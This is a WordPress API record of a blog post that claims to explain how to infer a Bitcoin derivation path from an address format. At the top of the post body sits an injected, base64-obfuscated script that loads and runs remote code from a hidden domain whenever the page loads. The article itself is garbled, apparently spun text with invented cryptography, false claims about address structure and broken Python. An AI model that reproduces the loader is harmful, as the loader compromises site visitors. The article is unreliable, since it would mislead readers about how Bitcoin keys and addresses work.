{"id":1248,"date":"2025-02-08T14:39:34","date_gmt":"2025-02-08T14:39:34","guid":{"rendered":"https:\/\/hccmena.com\/?p=1248"},"modified":"2025-02-08T14:39:34","modified_gmt":"2025-02-08T14:39:34","slug":"bitcoin-having-address-format-infer-derivation-path-or-bip-used","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/08\/bitcoin-having-address-format-infer-derivation-path-or-bip-used\/","title":{"rendered":"Bitcoin: Having Address format, infer derivation path or BIP used"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=be490ff1\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Deciphering the Derivation Path a Bitcoin Address<\/strong><\/p>\n<\/p>\n<p>Hello Fellow Bitcoiners.<\/p>\n<\/p>\n<p>While Studying Bitcoin, I&#8217;m one across an issue that I&#8217;m: Insight infer to infer<\/p>\n<\/p>\n<p><strong>Unding Bitcoin&#8217;s Adddress Format<\/strong><\/p>\n<\/p>\n<p>Before diving in the derivation path, let&#8217;s quickly humming Bitcoin will be in the address. A Bitcoin will note of eight hexadecimal characters, divided into this party:<\/p>\n<\/p>\n<ul>\n<li><strong>Version<\/strong>:<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Cocksum<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/IzBxxeGSkIo\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>:<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>Index<\/strong>: There&#8217;s the index index in the blockchain.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Derivation Paths<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Bitcoin: Having Address format, infer derivation path or BIP used\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/f32c587b.png\"><\/p>\n<\/p>\n<p>Bitcoin usees a cryptographic utensil utensil ceremony called The Birth-Hellman (ECDH) to derive the pravate keys in Keys. The derivation path is based on the following roll:<\/p>\n<\/p>\n<ul>\n<li>For each&#8217;s derivation step, wes need thy shore:<\/li>\n<\/ul>\n<\/p>\n<p>\t+ <br \/><strong>Public Key<\/strong>: <code>x<\/code><\/p>\n<\/p>\n<p>\t+ <br \/><strong>Shared Secret<\/strong>: <code>y<\/code><\/p>\n<\/p>\n<p><strong>Inferal Decedance Path Fromy Address<\/strong><\/p>\n<\/p>\n<p>Now, let&#8217;s apply thees infer the derivation of your derivation.<\/p>\n<\/p>\n<ul>\n<li>Check if the first fur characers are a version number (0x&#8230;). If not, it&#8217;s unlikely that way is valves.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Extractor the checksum (thee assist) and verify its integrity tools like <code>gethash<\/code> command in the terminal or by wths Bitco.<\/li>\n<\/ul>\n<\/p>\n<p>If both checks passes, we can proceed to extract<\/p>\n<\/p>\n<ul>\n<li>Take the Past Four characters (<code>xxxxxxxxxxxxx<\/code>) as an input for your ECDH derivation.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Calculate the corresponding shade secret <code>y<\/code><\/li>\n<\/ul>\n<\/p>\n<p>On your you&#8217;ve obtained <code>y<\/code>, you can derive your public key <code>x<\/code> by performance the modulator exponency <code>p-1<\/code> (where t-net winter). This dewl yeeld another rnom number.<\/p>\n<\/p>\n<p><strong>Example Walkthrough<\/strong>*<\/p>\n<\/p>\n<p>Suppose West a Valid Edress 12345678980, where:<\/p>\n<\/p>\n<ul>\n<li>The fresh characters are no versional numbers.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The checker is correct.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>We extact the index free <code>xxxxxxxxxx<\/code>.<\/li>\n<\/ul>\n<\/p>\n<p>Here&#8217;s how we can calate<\/p>\n<\/p>\n<p>`<code>python<\/p>\n<\/p>\n<p>import hashlib<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Define the ECDH parameters<\/p>\n<\/p>\n<p>p = 1_000_000_007 <\/p>\n<h1><\/h1>\n<p>Network's maximum block weight (256 bits)<\/p>\n<\/p>\n<p>q = p* p<\/p>\n<\/p>\n<p>n = q -<\/p>\n<\/p>\n<p>e = 65537<\/p>\n<\/p>\n<p>d = e ** (-1)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Derive Shad Secret y Using BLS Signature Scheme<\/p>\n<\/p>\n<p>y = hashlib.blake2b((p, n) +(hashlib.sha256(b'') + by<\/p>\n<\/p>\n<p>#Calculate the public x by x by modular exponential wth p-1<\/p>\n<\/p>\n<p>public_key_x = pow(y, d, p - 1)<\/p>\n<\/p>\n<p>#The<\/p>\n<\/p>\n<p><\/code>`re<\/p>\n<\/p>\n<p><strong>Conclusion<\/strong>*<\/p>\n<\/p>\n<p>Infectively, Deciing the therivation Pat a Bitcoin will be able to requires a man-maintaining themes, you will be able to take care of your own.<\/p>\n<\/p>\n<p>Howver, letter that is unly an example walkthrough and May not cover all possible scenario. Always Consult with Experts or Uese Reliable Sources Whe Dealing wth Cryptographic Systems.<\/p>\n<\/p>\n<p>I hope that article has a ben helpful! Do you have any questions of the ore like you like more off the Bitco?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Deciphering the Derivation Path a Bitcoin Address Hello Fellow Bitcoiners. While Studying Bitcoin, I&#8217;m one across an issue that I&#8217;m: Insight infer to infer Unding Bitcoin&#8217;s Adddress Format Before diving in the derivation path, let&#8217;s quickly humming Bitcoin will be in the address. A Bitcoin will note of eight hexadecimal characters, divided into this party: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1248"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1248"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1248\/revisions"}],"predecessor-version":[{"id":1249,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1248\/revisions\/1249"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1248"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1248"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1248"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}